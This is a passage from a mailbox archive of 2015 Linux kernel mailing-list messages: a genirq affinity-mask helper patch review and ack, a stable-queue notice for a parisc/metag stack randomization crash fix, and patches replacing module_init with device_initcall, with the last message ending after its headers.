X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tglx@linutronix.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:48649 gmane.linux.kernel:1958507 gmane.linux.kernel.pci:41805 gmane.linux.acpi.devel:75662 gmane.linux.ports.alpha:3096 gmane.linux.ports.arm.kernel:414949 gmane.linux.ports.ia64:25487 gmane.linux.kernel.metag:506 gmane.linux.ports.parisc:25738 gmane.linux.ports.ppc64.devel:113282 gmane.linux.ports.sh.devel:45990 gmane.linux.ports.sparc:21056
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/48649>

On Wed, 20 May 2015, Jiang Liu wrote:

> Introduce helper function irq_data_get_affinity_mask() and
> irq_get_affinity_mask() to hide implementation details,

That patch does way more than introducing the functions. Again:

Patch 1: Introduce helpers

Patch 2-n: Convert users subsystem wise

Thanks,

	tglx



From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [Patch v2 08/14] genirq: Introduce helper function
 irq_data_get_affinity_mask()
Date: Wed, 20 May 2015 20:34:26 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20150520193426.GT2067@n2100.arm.linux.org.uk>
References: <1432114845-24304-1-git-send-email-jiang.liu@linux.intel.com>
 <1432114845-24304-9-git-send-email-jiang.liu@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1432150699 26327 80.91.229.3 (20 May 2015 19:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 May 2015 19:38:19 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        Bjorn Helgaas <bhelgaas@google.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Randy Dunlap <rdunlap@infradead.org>,
        Yinghai Lu <yinghai@kernel.org>,
        Borislav Petkov <bp@alien8.de>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Steven Miao <realmz6@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
To: Jiang Liu <jiang.liu@linux.intel.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed May 20 21:38:09 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Yv9oa-0002FC-EC
	for sgi-linux-mips@gmane.org; Wed, 20 May 2015 21:38:04 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37574 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026591AbbETTh6hbIsW (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 20 May 2015 21:37:58 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 20 May 2015 21:37:44 +0200 (CEST)
Original-Received: from pandora.arm.linux.org.uk ([78.32.30.218]:53711 "EHLO
        pandora.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27013073AbbETThmmCO1t (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 20 May 2015 21:37:42 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=bsCq3ygpoZHvRFo7OZqofcWGuX8p4fLIfKDPcNJnAjo=;
        b=OL+zzLPYaMy9fejRiic2vNNBH9n8nhgOE1kb0q3nwikwfil7FO+8tJIiEkk90IzUvKBMtax7H/U9u4Ct5oyg7pvyhIDQ52eiSIuX0vLE6g76Wl+RhbBDdiDtLdtJAv4qOGfUPt0Dsv1xepH9fVAr3W5R+EZ4CL4LKQM91bv3Ohg=;
Original-Received: from n2100.arm.linux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:36515)
        by pandora.arm.linux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@arm.linux.org.uk>)
        id 1Yv9l8-0003lY-FS; Wed, 20 May 2015 20:34:30 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.arm.linux.org.uk>)
        id 1Yv9l4-0004jj-Ke; Wed, 20 May 2015 20:34:26 +0100
Content-Disposition: inline
In-Reply-To: <1432114845-24304-9-git-send-email-jiang.liu@linux.intel.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 47502
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@arm.linux.org.uk
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:48653 gmane.linux.kernel:1958798 gmane.linux.kernel.pci:41830 gmane.linux.acpi.devel:75691 gmane.linux.ports.alpha:3097 gmane.linux.ports.arm.kernel:415061 gmane.linux.ports.ia64:25488 gmane.linux.kernel.metag:507 gmane.linux.ports.parisc:25739 gmane.linux.ports.ppc64.devel:113287 gmane.linux.ports.sh.devel:46015 gmane.linux.ports.sparc:21057
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/48653>

On Wed, May 20, 2015 at 05:40:39PM +0800, Jiang Liu wrote:
> diff --git a/arch/arm/kernel/irq.c b/arch/arm/kernel/irq.c
> index 350f188c92d2..baf8edebe26f 100644
> --- a/arch/arm/kernel/irq.c
> +++ b/arch/arm/kernel/irq.c
> @@ -140,7 +140,7 @@ int __init arch_probe_nr_irqs(void)
>  static bool migrate_one_irq(struct irq_desc *desc)
>  {
>  	struct irq_data *d = irq_desc_get_irq_data(desc);
> -	const struct cpumask *affinity = d->affinity;
> +	const struct cpumask *affinity = irq_data_get_affinity_mask(d);
>  	struct irq_chip *c;
>  	bool ret = false;
>  
> @@ -160,7 +160,7 @@ static bool migrate_one_irq(struct irq_desc *desc)
>  	if (!c->irq_set_affinity)
>  		pr_debug("IRQ%u: unable to set affinity\n", d->irq);
>  	else if (c->irq_set_affinity(d, affinity, false) == IRQ_SET_MASK_OK && ret)
> -		cpumask_copy(d->affinity, affinity);
> +		cpumask_copy(irq_data_get_affinity_mask(d), affinity);
>  
>  	return ret;
>  }

> diff --git a/include/linux/irq.h b/include/linux/irq.h
> index 43581e166298..2eb82257aaee 100644
> --- a/include/linux/irq.h
> +++ b/include/linux/irq.h
> @@ -650,6 +650,18 @@ static inline int irq_data_get_node(struct irq_data *d)
>  	return irq_common_data_get_node(d->common);
>  }
>  
> +static inline struct cpumask *irq_get_affinity_mask(int irq)
> +{
> +	struct irq_data *d = irq_get_irq_data(irq);
> +
> +	return d ? d->affinity : NULL;
> +}
> +
> +static inline struct cpumask *irq_data_get_affinity_mask(struct irq_data *d)
> +{
> +	return d->affinity;
> +}
> +
>  unsigned int arch_dynirq_lower_bound(unsigned int from);
>  
>  int __irq_alloc_descs(int irq, unsigned int from, unsigned int cnt, int node,

For the above only,

Acked-by: Russell King <rmk+kernel@arm.linux.org.uk>

Thanks.

-- 
FTTC broadband for 0.8mile line: currently at 10.5Mbps down 400kbps up
according to speedtest.net.



From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ubuntu.devel.kernel.general
Subject: [3.16.y-ckt stable] Patch "parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures" has been added to staging queue
Date: Thu, 28 May 2015 11:56:49 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <1432810609-24332-1-git-send-email-luis.henriques@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1432810617 2660 80.91.229.3 (28 May 2015 10:56:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 May 2015 10:56:57 +0000 (UTC)
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Luis Henriques <luis.henriques-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>,
	kernel-team-nLRlyDuq1AZFpShjVBNYrg@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu May 28 12:56:56 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1YxvUb-0000KV-EF
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 28 May 2015 12:56:53 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753267AbbE1K4w (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 28 May 2015 06:56:52 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:47051 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752810AbbE1K4v (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 28 May 2015 06:56:51 -0400
Original-Received: from [10.172.192.212] (helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:RSA_AES_128_CBC_SHA1:16)
	(Exim 4.76)
	(envelope-from <luis.henriques-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>)
	id 1YxvUX-0002W7-S8; Thu, 28 May 2015 10:56:49 +0000
X-Mailer: git-send-email 2.1.4
X-Extended-Stable: 3.16
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:511 gmane.linux.ports.parisc:25740 gmane.linux.ubuntu.devel.kernel.general:57409
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/511>

This is a note to let you know that I have just added a patch titled

    parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures

to the linux-3.16.y-queue branch of the 3.16.y-ckt extended stable tree 
which can be found at:

    http://kernel.ubuntu.com/git/ubuntu/linux.git/log/?h=linux-3.16.y-queue

This patch is scheduled to be released in version 3.16.7-ckt13.

If you, or anyone else, feels it should not be added to this tree, please 
reply to this email.

For more information about the 3.16.y-ckt tree, see
https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable

Thanks.
-Luis

------

>From 441b34775e8375194ce741e53f0e19241749ef35 Mon Sep 17 00:00:00 2001
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Date: Mon, 11 May 2015 22:01:27 +0200
Subject: parisc,metag: Fix crashes due to stack randomization on
 stack-grows-upwards architectures

commit d045c77c1a69703143a36169c224429c48b9eecd upstream.

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Signed-off-by: Luis Henriques <luis.henriques-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>
---
 arch/parisc/include/asm/elf.h   | 4 ++++
 arch/parisc/kernel/sys_parisc.c | 3 +++
 fs/exec.c                       | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d061eccc..78c9fd32c554 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */

 #define ELF_HWCAP	0

+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2f9a0b..5aba01ac457f 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;

+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }

diff --git a/fs/exec.c b/fs/exec.c
index 68a0843250c9..993ed0aba99a 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -662,6 +662,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;

+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;

From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 10/15] parisc: don't use module_init for non-modular core pdc_cons code
Date: Thu, 28 May 2015 20:48:08 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <1432860493-23831-11-git-send-email-paul.gortmaker@windriver.com>
References: <1432860493-23831-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1432860582 24283 80.91.229.3 (29 May 2015 00:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 00:49:42 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 29 02:49:32 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Yy8UN-0002pW-MN
	for glk-linux-kernel-3@plane.gmane.org; Fri, 29 May 2015 02:49:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932550AbbE2At2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 28 May 2015 20:49:28 -0400
Original-Received: from mail1.windriver.com ([147.11.146.13]:64909 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932474AbbE2AtN (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 28 May 2015 20:49:13 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail1.windriver.com (8.15.1/8.15.1) with ESMTPS id t4T0mwrW029129
	(version=TLSv1 cipher=AES128-SHA bits=128 verify=FAIL);
	Thu, 28 May 2015 17:48:58 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.224.2; Thu, 28 May 2015 17:48:58 -0700
X-Mailer: git-send-email 2.2.1
In-Reply-To: <1432860493-23831-1-git-send-email-paul.gortmaker@windriver.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1964948 gmane.linux.ports.parisc:25741
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1964948>

The pdc_cons.c code is always built in.  It will never be modular,
so using module_init as an alias for __initcall is rather
misleading.

Fix this up now, so that we can relocate module_init from
init.h into module.h in the future.  If we don't do this, we'd
have to add module.h to obviously non-modular code, and that
would be a worse thing.

Direct use of __initcall is discouraged, vs prioritized ones.
Use of device_initcall is consistent with what __initcall
maps onto, and hence does not change the init order, making the
impact of this change zero.   Should someone with real hardware
for boot testing want to change it later to arch_initcall or
something different, they can do that at a later date.

Reported-by: kbuild test robot <fengguang.wu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---
 arch/parisc/kernel/pdc_cons.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index d5cae55195ec..10a5ae9553fd 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -207,8 +207,7 @@ static int __init pdc_console_tty_driver_init(void)
 
 	return 0;
 }
-
-module_init(pdc_console_tty_driver_init);
+device_initcall(pdc_console_tty_driver_init);
 
 static struct tty_driver * pdc_console_device (struct console *c, int *index)
 {
-- 
2.2.1


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 11/15] parisc64: don't use module_init for non-modular core perf code
Date: Thu, 28 May 2015 20:48:09 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <1432860493-23831-12-git-send-email-paul.gortmaker@windriver.com>
References: <1432860493-23831-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1432860582 24285 80.91.229.3 (29 May 2015 00:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 00:49:42 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 29 02:49:32 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Yy8UN-0002pW-3t
	for glk-linux-kernel-3@plane.gmane.org; Fri, 29 May 2015 02:49:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932525AbbE2AtW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 28 May 2015 20:49:22 -0400
Original-Received: from mail.windriver.com ([147.11.1.11]:54590 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932315AbbE2AtN (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 28 May 2015 20:49:13 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail.windriver.com (8.15.1/8.15.1) with ESMTPS id t4T0mxHK020211
	(version=TLSv1 cipher=AES128-SHA bits=128 verify=FAIL);
	Thu, 28 May 2015 17:48:59 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.224.2; Thu, 28 May 2015 17:48:58 -0700
X-Mailer: git-send-email 2.2.1
In-Reply-To: <1432860493-23831-1-git-send-email-paul.gortmaker@windriver.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1964949 gmane.linux.ports.parisc:25742
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1964949>

The perf.c code depends on CONFIG_64BIT, so it is either built-in
or absent.  It will never be modular, so using module_init as an
alias for __initcall is rather misleading.

Fix this up now, so that we can relocate module_init from
init.h into module.h in the future.  If we don't do this, we'd
have to add module.h to obviously non-modular code, and that
would be a worse thing.  Aside from it not making sense, it also
causes a ~10% increase in CPP overhead due to module.h having a
large list of headers itself -- for example compare line counts:

 device_initcall() and <linux/init.h>
	20238 arch/parisc/kernel/perf.i

 module_init() and <linux/module.h>
	22194 arch/parisc/kernel/perf.i

Direct use of __initcall is discouraged, vs prioritized ones.
Use of device_initcall is consistent with what __initcall
maps onto, and hence does not change the init order, making the
impact of this change zero.   Should someone with real hardware
for boot testing want to change it later to arch_initcall or
something different, they can do that at a later date.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---
 arch/parisc/kernel/perf.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index ba0c053e25ae..518f4f5f1f43 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -543,6 +543,7 @@ static int __init perf_init(void)
 
 	return 0;
 }
+device_initcall(perf_init);
 
 /*
  * perf_start_counters(void)
@@ -847,5 +848,3 @@ printk("perf_rdr_write\n");
 	}
 printk("perf_rdr_write done\n");
 }
-
-module_init(perf_init);
-- 
2.2.1


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 00/15] Replace module_init with device_initcall in non modules
Date: Thu, 28 May 2015 20:47:58 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <1432860493-23831-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1432860867 28631 80.91.229.3 (29 May 2015 00:54:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 00:54:27 +0000 (UTC)
Cc: linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Thomas Meyer <thomas@m3y3r.de>, Jesper Nilsson <jesper.nilsson@axis.com>,
 linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
 linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
 Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
 Scott Wood <scottwood@freescale.com>, Mike Turquette <mturquette@linaro.org>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 Richard Henderson <rth@twiddle.net>,
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri May 29 02:54:08 2015
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1Yy8Yp-0006KQ-RM
	for linux-arm-kernel@m.gmane.org; Fri, 29 May 2015 02:54:08 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Yy8Xv-0008GP-31; Fri, 29 May 2015 00:53:11 +0000
Original-Received: from mail1.windriver.com ([147.11.146.13])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1Yy8Xp-0008BU-TJ
 for linux-arm-kernel@lists.infradead.org; Fri, 29 May 2015 00:53:07 +0000
